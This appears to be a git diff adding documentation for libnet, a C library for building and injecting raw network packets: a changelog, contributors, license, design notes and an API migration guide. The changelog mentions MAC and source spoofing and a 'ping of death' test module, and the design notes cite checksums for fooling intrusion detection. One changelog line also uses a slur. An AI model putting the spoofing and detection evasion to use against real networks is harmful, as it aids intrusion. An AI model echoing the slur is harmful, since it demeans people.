+ First 1.1.0 non-beta release.
+
+ Added libnet_adv_write_link() which allows an advanced user to access
+ libnet's low-level frame injection functionality directly.
+
+
+Wed Jul 10 08:18:15 PDT 2002 1.1.0 Beta 07b
+
+ Added some words to the manpage.
+
+ Fixed a typo in libnet-functions.h -- forgot a comma.
+
+
+Sun Jul 7 10:37:12 PDT 2002 1.1.0 Beta 07a
+
+ My bad. Forgot to `make distclean` before last release resulting in some
+ compilation errors.
+
+ My bad. Forgot to add advanced *_ADV writing support to libnet_write().
+ Simple fix.
+
+
+Tue Jul 2 08:42:57 PDT 2002 1.1.0 Beta 07
+
+ BETA support for IPv6.
+
+ Fixed the IP and TCP options bugs that bound the TCP and IP payloads to
+ the IP and TCP headers respectively and saw options being appended
+ after the payload.
+
+ Added libnet_hex_aton(). This functions reads in arbirtrarily long hex
+ strings from the command line and returns the equivalent byte string. It
+ does an implicit malloc() so make sure to free().
+
+ Frédéric Raynal submitted a patch to break the coalesce loop down to two
+ passes using realloc resulting in a modest performance increase! Cool!
+
+ Added "Advanced Mode" which will initialize the library with additional
+ functionality for advanced users who "know what they're doing". Basically
+ this feature will remove some of the sanity checks libnet does when
+ building and injecting packets, at the programmer's peril. It also exposes
+ the libnet_adv() functions.
+
+ FINALLY changed that irritating struct ether_addr redefintion problem.
+ I internalized the name space of it (-> libnet_ether_addr) so there will
+ be no more issues there. Please update your code accordingly!
+
+ Added IGMP checksum support which was omitted by accident.
+
+ Removed netinet/ip_icmp.h from include list. This was causing problems
+ when including dnet.h which includes other system headers. We can
+ probably stand to remove several headers from libnet.h.in.
+
+ Added sanity check to ensure that when *build_ethernet() is called the
+ injection method is LIBNET_LINK (except when advanced mode is on).
+
+
+Thu Mar 28 22:18:46 PST 2002 1.1.0 Beta 06
+
+ Fixed ICMP unreachable checksum error and payload issues. Now using the
+ payload interface with unreachables will append the payload to the IPv4
+ header of the "offending packet".
+
+ Split STP builder into two; libnet_build_stp_conf() and
+ libnet_build_stp_tcn().
+
+ New CHANGELOG format. :)
+
+
+Mar 24 2002 1.1.0 Beta 05
+
+ New building logic. Top down. Much smarter, we now build packets and
+ frames like an OS kernel.
+
+ Added Cisco ISL builder.
+
+
+Mar 18 2002 1.1.0 Beta 04
+
+ Added an STP builder.
+
+ Hooks for Cisco ISL builder.
+
+ Changed libnet_init() to now accept an IP address for the device (so
+ either "fxp0" or "192.168.0.1" will work).
+
+ Added libnet_clear_packet() to free packet memory when we're done with it.
+
+
+Feb 28 2002 1.1.0 Beta 03
+
+ Added 802.1q, 802.2, 802.3 builders.
+
+
+Feb 25 2002 1.1.0 Beta 02
+
+ Fixed Cygwin support.
+
+
+Feb 01 2002 1.1.0 Beta 01
+
+ Complete new API and overhaul of most everything.
+
+ Improved linux packet socket support.
+
+ Renamed libnet_host_lookup() and libnet_name_resolve() to the more
+ intuitive libnet_addr2name() and libnet_name2addr().
+
+ All of the address resolution functions return host byte order (which
+ is what the build functions want).
+
+ Removed a ton of code from every corner of libnet.
+
+ Removed alot of useless crap:
+ misc directory
+ ports directory
+ util directory
+ cleaned out the test directory and moved it to sample
+
+ The libnet-config script is no longer needed to specify machine
+ endianess -- that has been moved to libnet.h and done at compile time.
+ You can still use it to specify other CPP constants as well as
+ libraries.
+
+ Added cygwin support.
+
+ Hooks for a few ieee 802 builders.
+
+ Added NTP builder.
+
+ Added DHCP builder.
+
+ Added BOOTP builder.
+
+ Added Cisco CDP builder (needs work).
+
+ Added IPSEC builder (needs work).
+
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+ 1.0.2a 02.06.2001 Oops! Messed up the install stuff. Fixed now.
+ Fixed the config.sub to correctly look for arm*
+ architecture.
+ Fixed the test.sh script
+ (Thankz again to syke).
+
+ 1.0.2 02.03.2001 Added OpenBSD 2.7 etherspoof lkm and kernel patch.
+ (Thankz to obecian).
+ Added FreeBSD 4.0-STABLE (and 5.0-CURRENT?)
+ etherspoof kernel patch.
+ (Thankz to Matt Bing).
+ Added FreeBSD 4 support for automagic MAC address
+ spoofing (via ioctl). No more lkm!
+ (Thankz to Toni Andjelkovic).
+ Added VRRP support.
+ Fixed a NULL pointer check in libnet_checksum.c.
+ (Thankz to syke).
+ Fixed a function naming problem in libnet_if_addr.c.
+ (Thankz to gigisull).
+ Fixed a potential byte error in libnet_version.
+ (Thankz to wotan).
+ Fixed a potential overflow in
+ libnet_link_sockpacket.c and libnet_link_dlpi.c.
+ (Thankz to Jarno Huuskonen).
+ Fixed a manpage discrepancy (get_ip_addr returns
+ host-byte, not network-byte).
+ Fixed arena allocation code (misalignments and
+ whatnot) and arena manpage entry (2 arguments
+ were swapped).
+ (Thankz to Bryan T. Schmersal).
+ Fixed datatype discrepancies (u_char was used
+ liberally when char should have been used).
+ (Thankz to Kyle Hargraves).
+ Fixed the PF_PACKET interface to work correctly.
+ (Thankz to Smiler).
+
+ 1.0.1b 04.07.2000 Fixed portlist chaining code to allow for more than
+ one active plist chain at a time (as per twitch's
+ patch).
+ Fixed discrepancy between the manpage and code for
+ libnet_close_link_interface. It now returns 1 on
+ success as per libnet standard (thankz to Toni
+ Andjelkovic for pointing this out).
+
+ 1.0.1a 03.29.2000 Fixed a small bug in libnet_link_dlpi.c.
+
+ 1.0.1 12.19.1999 Fixed a typo in libnet-headers.h ARH_H -> ARP_H.
+ Fixed a small typo in ether_mod-2.5.c.
+ Pre-happy BD to libnet! She'z almost 2 yearz old!
+
+ 1.0.0 10.27.1999 Added verbose html documentation.
+ Added verbosely commented example code.
+ Fixed OSPF testcode compile issues.
+ Added ping of death ICMP test code module.
+ Fixed manpage installation wrongness.
+ Fixed a reported bug in OpenBSD etherspoof lkm.
+ Merged OSPF lsa checksum code into main checksum
+ module.
+ Fixed a reported bug in the Makefile.in under
+ Solaris when make install was invoked, the ln
+ failed.
+ Fixed linux-based IP broadcasting using the
+ raw sockets interface.
+
+ 0.99g 09.13.1999 Added an OSPF builder (which is still in beta).
+ Fixed the Linux/configure.in bug. This was an odd
+ bug that affected Linux-based boxes, but not
+ BSD-based machines. The configure script refused
+ to expand most of the Makefile.in macros in every file
+ because of a conditional check.
+ Fixed some Makefile.in issues.
+
+ 0.99f 09.09.1999 Changed test/poink.c to not rely on a previous
+ install of libnet to compile.
+ Added a redhat RPM.
+ Changed sourcefile naming scheme to libnet_*.
+ Removed all assertions from the tree.
+ We are moving closer to a 1.0 release and
+ assertions have no place in production code.
+ Furthermore, there should be no exit points
+ inside a library. Currently, all functions that
+ made assertions now return an integral 1 upon
+ success and a -1 when the assertion would have
+ failed (some had to be changed from returning
+ void to returning int). This will not break
+ backward compatbility.
+ Fixed bugs in the arena code.
+ next_packet_from_arena would never return the
+ first chunk of memory, only the "next". It
+ now handles this special case. Thanks to
+ Sascha Gresk for locating this bug.
+ Fixed another potential bug when attempting
+ to allocate large packet sizes inside an arena.
+ Added an OpenBSD 2.5 ether_spoof lkm.
+ Fixed TCP options bugs.
+
+ 0.99e 07.21.1999 Modified the libnet-config script to work more
+ intutively now. It accepts multiple arguments.
+ See README.libnet-config.
+ Solaris m4/sh fixes (autoconf phase).
+ Internal error handling changed to use libnet_error.
+
+ 0.99d 06.24.1999 Added: build_icmp_redirect().
+ Added: FreeBSD 3.x support for spoofing source.
+ Added: libnet_error().
+ Added: port list chaining code.
+ MAC addrresses (see README.bpf).
+ Bugfix: libnet_select_device correctly accepts
+ NULL device arguments.
+ Bugfix: build_icmp.c now copies the correct amount
+ of header information.
+ Bugfix: OpenBSD needs HAVE_SOCKADDR_SA_LEN.
+ Changed: write_ip internal semantics. Cleaner
+ and faster now.
+ Changed: init_packet argument parameters. More
+ correct now. Takes a u_short vs. a size_t.
+
+ 0.99c 05.28.1999 link_int -> libnet_link_int.
+ Misc small testcode fixes.
+ Added libnet_tcp_header and libnet_ip_header.
+ Added libnet-config shell script, see
+ README.libnet-config and the manpage.
+ Updated ports.
+ Revamped checksum module -- it's much simpler
+ and more efficient (ripped out arch specific
+ code which seemed to be buggy with series' of
+ very large packets). Dug Song wrote it, with
+ small fixes/changes by MDS.
+
+ 0.99b 05.06.1999 Fixed a nasty UDP/TCP + data checksum bug.
+ Header structure further divided into subfiles.
+ Moved get_hwaddr into low-level interface locales.
+ Fixed the BSD get_hwaddr (dugsong@anzen.com).
+ Ported to BSD/OS 3.x.
+ Added `LIBNET_VERSION` symbolic constant.
+ build_ip with payload semantics changed (now
+ requires a payload length which is more
+ intuitive).
+ Fixed the `disappearing MAC address problem`
+ within the linux version of get_hwaddr().
+
+ 0.99a 04.14.1999 Linux 2.0.x kernels don't have <net/ethernet.h>
+ 0.99 included this header file without checking
+ to see if it present. This is now fixed.
+ Non-x86 systems have no tcp_check function but the
+ stub.c sourcefile did not check this. This is now
+ fixed.
+ Added the utilities directory and get_mac.c.
+
+ 0.99 04.13.1999 Major manpage redux.
+ Added (broken?) PF_PACKET support for Linux (see
+ README.linux).
+ Moved alot of m4 from configure.in to aclocal.m4.
+ Added Linux m4 macro to detect PF_PACKET.
+ Added build_icmp_unreach
+ Added build_icmp_timestamp
+ Added standard nomenclature for all the ICMP
+ type/code symbolic constants (see the manpage).
+ Changed internal network structure nomenclature.
+ Decided to stop using the word nomenclature so much.
+ Fixed semantics of get_ipaddr (s/PF_INET/AF_INET).
+ Added a symlink in the install directory so libnet
+ is also named `libpwrite`.
+ Added ASN.1 conversion routines, mostly pilfered
+ from ucd snmplib.
+ Removed get_hwaddr from sockpacket.c and made the
+ existing one portable to Linux.
+ Added more testcode and changed testcode structure
+ to be more intuitive.
+ Added init_packet and destroy_packet.
+ Added an arena allocator.
+ Fixed alignment issues on SPARC and Alpha
+ (possibly others with strict alignment
+ requirements).
+ Added a packet dumping routine. Not fully tested.
+ Testcode updates including a master testcode shell
+ script.
+ Added stub functions to ease the eventual
+ transition to a more proper `libnet_*` function
+ naming convention. See README.stubs for more
+ info.
+
+ 0.10a 02.04.1999 Added the libnet.s2h configuration file to the
+ distribution.
+ GLIBC fix.
+
+ 0.10 01.31.1999 Many low-level changes, same interface though.
+ Split up the main libnet.h file into two files.
+ Autoconf changes:
+ checks to see if the underlying architecture
+ needs to be aligned.
+ flexible install location.
+ explicitly set $CC option in Makefile.in.
+ Added ensure-dir.sh.
+ Changes DEBUG semantics as I was told the previous
+ stuff broke on some compilers.
+ Created a FreeBSD/OpenBSD ports entry.
+ SGI snoop (drain) interface fixed.
+ Solaris/HPUX DLPI interface fixed.
+ Support for getting local IP addresses.
+ Support for getting local hardware addresses.
+ Added a DNS packet builder.
+ Added an RIP packet builder.
+ Added an ICMP MASKREQ/REPLY packet builder.
+ Added ICMP at the link layer test code.
+ Changed GLIBC version detection semantics.
+
+ 0.9 12.15.1998 Major changes/additions here...
+ Added lowlevel packet building and writing
+ routines with a codebase from libpcap.
+ Broken DPLI support (fixme!).
+ Added ethernet and ARP building routines.
+ Added ICMP_ECHO building routine which led to the
+ Discovery of an odd kernel panic bug under
+ OpenBSD (see hook.c in test dir).
+ Added IGMP building routine.
+ Reworked autoconf script.
+ Fixed Linux ip_sum vs. ip_csum naming issue.
+ Fixed Solaris checksums (2.4, 2.5.x).
+ Added NetBSD autoconf entry.
+ Changed BSD_BYTE_SWAP semantics to correctly handle
+ IP datagrams through BPF (see write_ip.c).
+
+ 0.8c 11.10.1998 Added more testcode.
+
+ 0.8b 10.21.1998 OK. I THINK WE'VE FINALLY FIXED THAT GLIBC THING.
+ Ported to alpha Linux.
+
+ 0.8a 10.15.1998 Added support for IP TOS bits (oops. Broke
+ backward compatibility again. Like I said, don't
+ rely on this until 1.x).
+
+ 0.8 10.13.1998 Added support for IP options.
+ Added support for TCP options.
+ Added a dummy version function.
+ Fixed linux libc vs. glibc nomenclature discrepancy.
+ Solaris checksums fixed for non-payload laden
+ packets?
+
+ 0.7b 09.22.1998 Linux glibc/libc nomenclature anomoly still there.
+ Fixed Linux/BSD icmp header size problem.
+
+ 0.7a 08.26.1998 Fixed payload support (see test code).
+
+ 0.7 08.25.1998 Solaris port (checksums broken -- Solaris has gay
+ fucking quirks when it comes to checksumming on
+ raw sockets).
+ Added autoconf scripts.
+ Added psuedorandom number generation code.
+ Added payload support (breaks backward
+ compatability and is untested).
+
+ 0.6 06.21.1998 Fixed UDP checksum. Removed USE_NAME CPP option
+ made it a run time decision. Makes code more
+ extensible, but breaks backward compatibility.
+
+ 0.5 06.02.1998 Added TCP/UDP/IP packet assembly routines.
+ Added a checksum function.
+ Added a manpage.
+ Removed daemonizing function (BSD has one).
+ UDP checksums broken...
+
+ 0.4 01.12.1998 IP checksum (x86 assembly implementation).
+
+ 0.3 01.12.1998 daemonizing function.
+
+ 0.2 01.11.1998 raw socket function changed to allow user
+ designated protocol for raw socket
+
+ 0.1 01.05.1998 Initial release, contains:
+ network byte order -> human readable IP address,
+ human readable IP address -> network byte order,
+ simple raw socket / IP_HDRINCL wrapper,
+ TCP checksum (x86 assembly implementation)
+EOF
diff --git a/libnet/doc/CONTRIB b/libnet/doc/CONTRIB new file mode 100644 index 0000000..7786749 --- /dev/null +++ b/libnet/doc/CONTRIB @@ -0,0 +1,57 @@ +===============================================================================
+ $Id: CONTRIB,v 1.9 2004/11/09 07:05:06 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+ 1.1.x CONTRIBUTERS
+
+ Barbato, Luca
+ . faster C checksum routine
+ Beverly, Scott <scottbeverly@xengin.com>
+ Bowman, Don <don@sandvine.com>
+ Coulter, Michae l <mjc@bitz.ca>
+ . arp bugfix
+ Damron, Jason <jsdamron@hushmail.com>
+ . bugfixes
+ . IP/TCP options bugfixes
+ . RPC builder
+ . token ring and fddi support
+ Davis, Michael <mike@datanerds.net>
+ . bugfixes
+ Dulai, Danny <ddulai@stake.com>
+ Keramida, Giorgos <keramida@ceid.upatras.gr>
+ . various bugfixes
+ Kuehl, Kirby <kkuehl@cisco.com>
+ . u_short -> u_long patch
+ . 1.1.1 Win32 porting
+ . tons and tons of other stuff
+ Roberto Larcher <roberto.larcher@libero.it>
+ . 1.1.0 Win32 Porting
+ Newsham, Tim <tnewsham@stake.com>
+ . general elitism
+ O'Donnell, Adam <javaman@west.philly.ghetto.org>
+ . Solaris IPv6 address fix
+ Omella, Alfredo Andres <aandres@s21sec.com>
+ . Solaris DLPI fix
+ Raynal, Frederic <frederic.raynal@security-labs.org>
+ . cq interface
+ . numerous bugfixes and suggestions
+ . keeping the project alive during my sabbatical!
+ Salvatori, Alessandro
+ . many many patches
+ Sehgal, Anupma <asehgal@cisco.com>
+ . pblock sanity check oversight fix
+ Schlott, Stefan <stefan@ploing.de>
+ . IPv6 code
+ Shields, Michael <shieldszero@aol.com>
+ . configure.in patch
+ Simons, Terry <Terry.Simons@m.cc.utah.edu>
+ . OS/X port
+ Song, Doug <dug@monkey.org>
+ . inspiration
+ Su, Joe <cysu@csie.nctu.edu.tw>
+ . IPv6 traffic clas and flow label fix
+ Yardley, Tim <liquid@dqc.org>
+EOF
diff --git a/libnet/doc/COPYING b/libnet/doc/COPYING new file mode 100644 index 0000000..1a29568 --- /dev/null +++ b/libnet/doc/COPYING @@ -0,0 +1,31 @@ + $Id: COPYING,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ + + libnet 1.1.x + Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com> + http://www.packetfactory.net/libnet +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + +EOF diff --git a/libnet/doc/CVS/Entries b/libnet/doc/CVS/Entries new file mode 100644 index 0000000..9f60c4a --- /dev/null +++ b/libnet/doc/CVS/Entries @@ -0,0 +1,12 @@ +/BUGS/1.2/Sat Jan 3 20:31:00 2004// +/COPYING/1.1.1.1/Thu Jun 26 21:55:10 2003// +/MIGRATION/1.2/Sat Jan 3 20:31:00 2004// +/PORTED/1.2/Sat Jan 3 20:31:00 2004// +/RAWSOCKET_NON_SEQUITUR/1.2/Sat Jan 3 20:31:00 2004// +/TODO/1.2/Sat Jan 3 20:31:00 2004// +D/man//// +/DESIGN_NOTES/1.3/Sat Jan 17 07:51:19 2004// +/PACKET_BUILDING/1.3/Tue Apr 13 17:32:28 2004// +/CHANGELOG/1.26/Tue Nov 9 07:05:06 2004// +/CONTRIB/1.9/Tue Nov 9 07:05:06 2004// +/libnet.doxygen.conf/1.3/Tue Nov 9 07:05:06 2004// diff --git a/libnet/doc/CVS/Repository b/libnet/doc/CVS/Repository new file mode 100644 index 0000000..463dc8c --- /dev/null +++ b/libnet/doc/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/doc diff --git a/libnet/doc/CVS/Root b/libnet/doc/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/doc/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/doc/DESIGN_NOTES b/libnet/doc/DESIGN_NOTES new file mode 100644 index 0000000..4d27b89 --- /dev/null +++ b/libnet/doc/DESIGN_NOTES @@ -0,0 +1,134 @@ +=============================================================================== + $Id: DESIGN_NOTES,v 1.3 2004/01/17 07:51:19 mike Exp $ + LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + http://www.packetfactory.net/libnet +=============================================================================== + + + DESIGN NOTES + + In order to remove most of the decisions a user had to make (how much + memory to allocate for a packet, where to build the packet headers, where + to do the checksums, how to inject the packet, etc) I decided to move ALL + of that logic into the library, behind the scenes. To initialize + things and get an initial libnet context, the applications programmer + calls: + + libnet_t *l; + l = libnet_init(INJECTION_TYPE, PROTOCOL, DEVICE, ERRBUFFER); + + where: + + INJECTION_TYPE = LIBNET_RAW4 (ipv4 raw socket) + LIBNET_RAW6 (ipv6 raw socket) + LIBNET_LINK (link-layer socket) + LIBNET_RAW4_ADV (advanced mode) + LIBNET_RAW6_ADV (advanced mode) + LIBNET_LINK_ADV (advanced mode) + + PROTOCOL = IP protocol to be used for the raw socket. This is + ignored for the link-layer, and almost always + IPPROTO_RAW for ipv4. + + DEVICE = The canoical name of the device, used only with the link + layer stuff. For ipv4 raw socket, you can leave this + NULL. If it's NULL with the link-layer, libnet will try + to find a suitable device. + + ERRBUFFER = Until we have our libnet context l, this is where + errors will be. + + Inside of this newly created context we have a ton of stuff including a + file descriptor for the packet device the injection type, the device name + (if applicable) a pointer to the libnet protocol block structure and some + other ancillary data. + + Additionally, we will soon be supporting context manipulation functions + that will allow the user to set certain flags inside the context. This + interface will be akin to libnet_toggle_checksum() for those of you who + care. + + When a packet is first constructed, the protocol block (pblock) stuff comes + into play. On the outside, to an applications programmer, a packet is + constructed more or less like normal (with a few notable exceptions): + + libnet_ptag_t ip_tag; + ip_tag = libnet_build_ipv4( + LIBNET_UDP_H, + 0, + 242, + 0, + 64, + IPPROTO_UDP, + 0, /* NEW: checksum */ + src_ip, + dst_ip, + NULL, + 0, + l, /* NEW: libnet context */ + 0 /* NEW: libnet ptag */ + ); + + The checksum allows an applications programmer to decide if he wants to + specify his own random value (useful in NIDS fooling) or precompute the + sum elsewhere, or leave it zero and by default libnet will take care of it + (although this is over-ridable). The libnet context is the opague + pointer we allocated earlier and will show up in just about every libnet + function call from here on out. The libnet ptag is a way to reference an + ALREADY BUILT protocol block. This is necessary if you want to change + some values of a header inside of a packet injection loop. + + So, when you call a build function, internally, it's a completely new + system. If the item you're constructing is NEW, a new pblock will be + allocated and linked onto the end of the list. It may be helpful to think + of this as a "protocol stack" because you MUST build your packets IN + ORDER, from the top of the protocol stack on down (i.e.: tcp -> ip -> + ethernet). Once you build a new protocol block, it's "pushed down on the + stack" and you move on to the next. However, this analogy breaks down + because you can modify any one of these items and when they're assembled + for the final packet, libnet starts at the head of the list. It may be + MORE helpful to think of the pblock chain as a doubly linked FIFO + queue, because that's what it is. :) + + For example: + + libnet_ptag_t 1; + libnet_ptag_t 2; + libnet_ptag_t 3; + + 1 = libnet_build_data(blah, l, 0); + 2 = libnet_build_tcp(blah, l, 0); + 3 = libnet_build_ipv4(blah, l, 0); + + Will result in: + ---------- ---------- ---------- + l->protocol_blocks--->| data |----->| tcp |----->| ip | + | pblock |<-----| pblock |<-----| pblock |----| + --| ptag: 1| | ptag: 2| | ptag: 3| | + | ---------- ---------- ---------- v + | ----- + |-------------------------------------------> --- + - + + To access and change the ip header, an additional call to libnet_build_ipv4 + with the ptag argument would be made: + + libnet_build_ipv4(blah..., l, 3); + + Note that the ptag DOES NOT CHANGE. Once a pblock is built, its tag is + set in stone. + + When it comes time to write the packet to the wire, + libnet_pblock_coalesce() is called to assemble the packet fragments. + + 1) Gather up all of the pblock sizes in order to allocate one + contiguous block of memory. + 2) Copy over the packet fragments. + 3) Check each pblock to see which items need checksums, then perform + that checksum over each portion (the entire packet is needed for + some checksums). + + So that's a quick description of what's going on under the hood. There's + more, but this should be enough to get you started. + +EOF diff --git a/libnet/doc/MIGRATION b/libnet/doc/MIGRATION new file mode 100644 index 0000000..b257241 --- /dev/null +++ b/libnet/doc/MIGRATION @@ -0,0 +1,172 @@ +=============================================================================== + $Id: MIGRATION,v 1.2 2004/01/03 20:31:00 mike Exp $ + LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + http://www.packetfactory.net/libnet +=============================================================================== + + + MIGRATING YOUR CODE AND QUICKSTART + + Using Libnet 1.1 you will find it MUCH simpler to build and write packets + than before. Instead of the previous five steps (initialize memory, + initialize network, build packet, do checksums, write packet) there are + now only three steps (initialize library, build packet, write packet). + In order to port your existing code, you will mainly be REMOVING + function calls and variables. + + 1) Start with code removal: + + - Remove all calls to libnet_init_packet() / packet malloc()ing and + all associated variables. + - Remove all calls to libnet_open_raw_sock() / libnet_open_link_layer() + and all associated variables. + - Remove all calls to libnet_do_checksum() and all associated + variables. + + 2) Continue with code addition and modification: + + - You will need a single "libnet_t *l" which is your libnet file + context and an error buffer: + + libnet_t *l + char errbuf[LIBNET_ERRBUF_SIZE]; + + l = libnet_init( + LIBNET_RAW4, /* or LIBNET_LINK or LIBNET_RAW6 */ + NULL, /* or device if you using LIBNET_LINK */ + errbuf); + + - The libnet_build functions are largely unchanged with a few + important differences: + + 1) Packets headers MUST be stacked IN ORDER. This is + intuitive and shouldn't be a problem. Due to the way + individual packet header memory is allocated and how + packet pieces are combined to build a packet they HAVE to + be built IN ORDER, from the high end of the protocol stack + on down. ie: using the raw interface to build a NTP + packet, you would: + libnet_build_ntp(...) + libnet_build_udp(...) + libnet_build_ipv4(...) + To build the same packet using the LINK interface on + top of ethernet you would: + libnet_build_ntp(...) + libnet_build_udp(...) + libnet_build_ipv4(...) + libnet_build_ethernet(...) + 1a) There is the option now of using libnet_autobuild_ipv4() + and libnet_autobuild_ethernet() which have fewer + arguments and smaller stack frames and are a bit more + convenient. + 2) The libnet_build functions return a libnet_ptag_t datatype + on success or -1 on error. This ptag is your + "protocol/packet tag" so you can find this header again + if you needed to modify it later on. If you don't need + to modify the packet header you can throw this value + away. You should definitely check for error now on + your build functions. Alot's going on down there fellas. + 2a) NOTE that after packets are built, they may accessed + independently of construction order via the saved ptag. + 3) They NO LONGER ACCEPT BUFFER ARGUMENTS. This is ALL + done internally. The last TWO arguments are the libnet + context you created in your call to libnet_init() and + an OPTIONAL ptag argument. The ptag argument, if non-zero, + specifes a packet tag to an ALREADY EXISTING packet header + that will be OVERWRITTEN with the values specified in + this libnet_build function call. This is how you modify + existing packet header pieces. If this ptag is 0, + a new protocol block is allocated and the packet is + pushed down on the "protocol stack". + 4) For the functions that build headers that have checksums + these are NOW SPECIFIED AS AN ARGUMENT. This adds more + flexibility in how checksums are done (you can leave the + field 0, put in a random value, precompute it on your own, + or let the library do it). By default, when you build + a header, a "DO_CHECKSUM" flag will be set. This means + the library will compute the checksum for the header + and possibly over the data before the packet is written. + To clear this flag, there is a special macro you + can call on the ptag refering to that header. + 5) For the functions that have a length, it now specifies + the TOTAL packet length from that protocol unit on down. + For IP, that would be the entire packet length. For + TCP, that would be TCP and any possible data. + 6) Nomenclature support for the eventual support of ipv6 + has been added. + + libnet_ptag_t ip_tag; + libnet_ptag_t tcp_tag; + + tcp_tag = libnet_build_tcp( + src_prt, /* source TCP port */ + dst_prt, /* destination TCP port */ + 0xffff, /* sequence number */ + 0x53, /* acknowledgement number */ + TH_SYN, /* control flags */ + 1024, /* window size */ + 0xd00d, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H /* TCP packet size */ + NULL, /* payload (none) */ + 0, /* payload length */ + l, /* libnet context */ + 0); /* ptag */ + + ip_tag = libnet_build_ipv4( + LIBNET_TCP_H + LIBNET_IPV4_H,/* total packet len */ + IPTOS_LOWDELAY, /* tos */ + ip_id, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source ip */ + dst_ip, /* dest ip */ + NULL, /* payload (none) */ + 0, /* payload size */ + l, /* libnet context */ + 0); /* ptag */ + + Now, if you wanted to modify one of these headers in a loop + somewhere you would: + + int i; + for (ip_tag, tcp_tag = LIBNET_PTAG_INITIALIZER, i = 0; i < 10; i++) + { + tcp_tag = libnet_build_tcp(++src_prt, ..., l, tcp_tag); + ip_tag = libnet_build_ipv4(..., ++ip_id, ..., l, ip_tag); + /* do something */ + } + Since we are specifying a ptag for an existing header, the + build function will NOT create a new header and append it to + the list, it will FIND the one referenced by the ptag and UPDATE + it. Since there is nothing new being created, order is NOT + important here. + + Also note that it's perfectly fine to wrap the loop around the + initial building of the packets. Since we're initializing the + ptags (to be zero), the first call into the builder functions + will allocate the memory and create the packet blocks. These + calls will return ptag values. The next calls will modify + these headers since the ptags will not be NULL. + + - Finally, we write the packet. Checksums are computed, by default + for each protocol header that requires one. If the user specifies + a non-zero value, by default, this will be used INSTEAD of a + libnet computed checksum. This behavior is overridable with: + + Turn ON checksums for header referenced by ptag: + libnet_toggle_checksum(l, ptag, 1) + + Turn OFF checksums for header referenced by ptag: + libnet_toggle_checksum(l, ptag, 0) + + Note, the packet header MUST exist before you can toggle this setting. + + int c; + c = libnet_write(l); + + Boom. You're done. Now go read the sample code. + +EOF diff --git a/libnet/doc/PACKET_BUILDING b/libnet/doc/PACKET_BUILDING new file mode 100644 index 0000000..8f7dfff --- /dev/null +++ b/libnet/doc/PACKET_BUILDING @@ -0,0 +1,207 @@ +=============================================================================== + $Id: PACKET_BUILDING,v 1.3 2004/04/13 17:32:28 mike Exp $ + LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + http://www.packetfactory.net/libnet +=============================================================================== + + + ADDING A NEW PACKET BUILDER, STATIC HEADER SIZE + +Adding a new packet building module to libnet is usually pretty simple. The +following short document details how to add a packet builder to libnet for a +protocol that has a static header size. We'll use the Sebek protocol as an +example to walk through the process. + +1) Make sure you have a good reference for the protocol in question. Be it an + RFC or an official release doc from the author or vendor, you'll need + something comprehensive. For Sebek, the comprehensive reference is here: + http://project.honeynet.org. + +2) Figure out how big the header is and add it to the top of libnet-headers.h: + +#define LIBNET_SEBEK_H 0x30 /* sebek header: 48 bytes */ + +3) Create the protocol header structure and add it to the end of + libnet-headers.h. Take care to use POSIX datatypes to define all of your + values. Structure naming conventions are more or less up to you. Since + they're never exported to the user, it's not a big deal, but try to keep + them short and descriptive. Convention is to add the symbolic constant + #defines above the structure members they apply to. + +/* + * Sebek header + * Static header size: 48 bytes + */ +struct libnet_sebek_hdr +{ + u_int32_t magic; /* identify packets that should be hidden */ + u_int16_t version; /* protocol version, currently 1 */ +#define SEBEK_PROTO_VERSION 1 + u_int16_t type; /* type of record */ +#define SEBEK_TYPE_READ 0 /* currently, only read is supported */ +#define SEBEK_TYPE_WRITE 1 + u_int32_t counter; /* PDU counter */ + u_int32_t time_sec; /* EPOCH timer */ + u_int32_t time_usec; /* residual microseconds */ + u_int32_t pid; /* PID */ + u_int32_t uid; /* UID */ + u_int32_t fd; /* FD */ +#define SEBEK_CMD_LENGTH 12 + u_int8_t cmd[SEBEK_CMD_LENGTH]; /* 12 first characters of the command */ + u_int32_t length; /* PDU length */ +}; + +3) Append a pblock identifier to the end of the list in libnet-structures.h. + The ID number is not imporant as long as it is UNIQUE. As such, just find + the last entry, append the new entry after it, and increase the pblock ID + by one: + +#define LIBNET_PBLOCK_SEBEK_H 0x3f /* Sebek header */ + +4) Create your new builder file in src/. Adhere to the 